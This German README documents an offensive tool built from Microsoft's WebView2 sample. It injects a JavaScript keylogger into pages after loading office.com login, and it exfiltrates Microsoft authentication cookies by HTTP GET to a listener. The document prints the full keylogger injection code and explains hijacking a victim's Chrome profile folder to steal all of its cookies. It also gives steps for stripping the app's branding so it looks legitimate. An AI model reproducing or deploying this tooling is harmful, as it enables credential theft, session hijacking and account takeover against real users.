
Injectiert einen JavaScript-Keylogger in WebView2-Seiten, um Tastatureingaben zu erfassen und Cookies aus Microsoft-Authentifizierungssitzungen über HTTP-GET-Anfragen zu exfiltrieren.
Bitte lesen Sie diesen Blogbeitrag für weitere Informationen.
Dieser Code ist eine modifizierte Version von Microsofts WebView2-Code. Der aktuelle Code kann bereinigt und wesentlich verbessert werden.
Getestet unter Windows 10 & 11.
Wenn die Binärdatei ausgeführt wird, wird https://office.com/login geladen. Ein JavaScript-Keylogger wird in jede Seite injiziert und Tastatureingaben werden an http://127.0.0.1:8080 gesendet. Darüber hinaus werden nach erfolgreicher Authentifizierung des Benutzers die Cookies für login.microsoftonline.com base64-kodiert und per HTTP-GET-Anfrage an http://127.0.0.1:8080 gesendet.
Falls Sie das JavaScript ändern möchten, finden Sie den zu ändernden Code unten in Zeile 1096 in AppWindow.cpp.
coreWebView2->AddScriptToExecuteOnDocumentCreated(L"var link = \"http://127.0.0.1:8080/keylog?k=\";var l = \"\";document.onkeypress = function (e){l += e.key;var req = new XMLHttpRequest();req.open(\"GET\",link.concat(l), true);req.send();}", nullptr);
WebView2 ermöglicht es, mit einem bestehenden Benutzerdatenordner (User Data Folder, UDF) zu starten, anstatt einen neuen zu erstellen. Der UDF enthält alle Passwörter, Sitzungen, Lesezeichen usw. Der Chrome-UDF befindet sich unter C:\Users\<Benutzername>\AppData\Local\Google\Chrome\User Data. Wir können WebView2 einfach anweisen, die Instanz mit diesem Profil zu starten und nach dem Start alle Cookies zu extrahieren und an den Angreiferserver zu übertragen.
Der einzige Haken ist, dass WebView2 nach einem Ordner namens EBWebView sucht, anstatt nach User Data (keine Ahnung, warum). Kopieren Sie den Ordner User Data und benennen Sie ihn in EBWebView um.
Bei Zeile 41 in app.cpp:
std::wstring userDataFolder(L""); zu std::wstring userDataFolder(L"C:\\Pfad\\Zum\\Temp");EBWebView enthalten, aus dem WebView2 lesen wird.Bei Zeile 40 in ScenarioCookieManagement.cpp:
GetCookiesHelper(L"https://login.microsoftonline.com"); zu GetCookiesHelper(L"");Wenn GetCookiesHelper ohne Angabe einer Website aufgerufen wird, werden alle Cookies extrahiert.
Hinweis: Dies funktioniert mit der aktuellen Anwendung nicht, wenn eine große Menge an Cookies vorhanden ist, da die Anwendung sie per GET-Anfrage sendet, die eine Längenbegrenzung hat.
Wenn Sie Änderungen an der Binärdatei vornehmen möchten, finden Sie unten Informationen zu den wichtigen Funktionen.
GetUri() enthält die URL, die beim Ausführen der Binärdatei geladen wird.SendCookies() enthält die IP-Adresse und den Port, an die die Cookies gesendet werden.CallCookieFunction() wartet, bis die URL mit https://www.office.com/?auth= beginnt, und ruft ScenarioCookieManagement::GetCookiesHelper(L"https://login.microsoftonline.com") auf.POPUP-Werte auf "" setzen.IDS_APP_TITLE und IDC_WEBVIEW2APISAMPLE. Dies ist der Name der Anwendung in der Titelleiste.IDI_WEBVIEW2APISAMPLE, IDI_WEBVIEW2APISAMPLE_INPRIVATE und . Diese verweisen auf eine -Datei, die das Symbol dieser Anwendung ist.IDI_SMALL.icoitemHeight muss auf 0 gesetzt werden, um das obere Menü zu entfernen. Dies ist in diesem Code bereits erledigt.LoadImage() sollte auskommentiert werden. Dies blendet das blaue Startbild aus. Dies ist in diesem Code bereits erledigt.new AppWindow(creationModeId, WebViewCreateOption(), initialUri, userDataFolder, false); ändern Sie den letzten Parameterwert auf true. Dadurch wird die Symbolleiste ausgeblendet. Dies ist in diesem Code bereits erledigt.